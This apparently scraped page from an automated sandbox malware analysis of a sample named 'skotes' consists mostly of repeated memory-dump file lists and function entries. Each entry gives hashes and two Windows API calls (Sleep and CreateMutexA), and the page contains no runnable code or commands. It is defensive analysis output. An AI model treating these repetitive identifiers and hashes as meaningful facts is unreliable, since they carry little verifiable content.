Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 67fbd1d585c94e5367756577b6743bce344171aa749f78c8d15ad3c4f68c42c3
Instruction ID: adf760c31bf98eec05c4f5f4a83e8e1bf616b0beb8a0257faac0762a8cea56f9
Opcode Fuzzy Hash: 67fbd1d585c94e5367756577b6743bce344171aa749f78c8d15ad3c4f68c42c3
Instruction Fuzzy Hash: F33137316001089BEB0D9BB8DD9AFADB662EFE1318F64821CE054973D5C775DD808692

Function 001CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: ab3336203b292b76248393851b19eb1623999c978e909aba88e24b56428dde0c
Instruction ID: 1bbe3be1b353e011531a2c71493d206411ca2afdd4aa7eae97e5a3985cc7434d
Opcode Fuzzy Hash: ab3336203b292b76248393851b19eb1623999c978e909aba88e24b56428dde0c
Instruction Fuzzy Hash: 83311531A001089BEB09DB78D99ABADB762AFE531CF64821CE454973D1C739DD818752

Function 001CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: 1119d59483e156b13e23cc720f083dda02d995212482d53e1b2b804bc09873f3
Instruction ID: 8b78d4cc2c2868314603a49eaf0e852957fabdd7ce29412ea995737cc3b38ab2
Opcode Fuzzy Hash: 1119d59483e156b13e23cc720f083dda02d995212482d53e1b2b804bc09873f3
Instruction Fuzzy Hash: 143128316002489BEB09DBB8DD9AFADB772EFE1318F64821CE054973D1C736DD808692

Function 001C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199890988.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199925654.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199953726.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199981687.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2200009813.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2"
API String ID: 1464230837-2900642539
Opcode ID: f5ed11b95d65eb71ace1c1d4854e4135af271bd2879148851c2d4d5f64eebf13
Instruction ID: c451905980d13a36a28d2915029a0c175a3ac876283905abebd33b2c43a29686
Opcode Fuzzy Hash: f5ed11b95d65eb71ace1c1d4854e4135af271bd2879148851c2d4d5f64eebf13
Instruction Fuzzy Hash: 36216732704204ABEB189BA8EDDAF6DB761EFE1318F20422DE458972D0C775ED80C651

Function 001CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000007.00000002.2195254442.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195295392.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2195989716.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196391493.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2196797233.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198005790.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198149668.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198305576.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198345884.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198391425.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198476194.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198530301.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198588367.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198618748.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198662906.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198702307.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198748028.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198789700.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198840685.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198882784.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198924992.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2198970878.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199026860.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199052984.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199091296.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199129429.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199166135.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199239331.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199277696.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199306755.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199342949.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199374882.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199403648.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199430964.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199458654.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199485715.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199513236.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199545170.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199574200.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199601683.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199633449.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199660661.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199688688.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199718868.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199751571.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199777423.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199836462.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2199862785.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
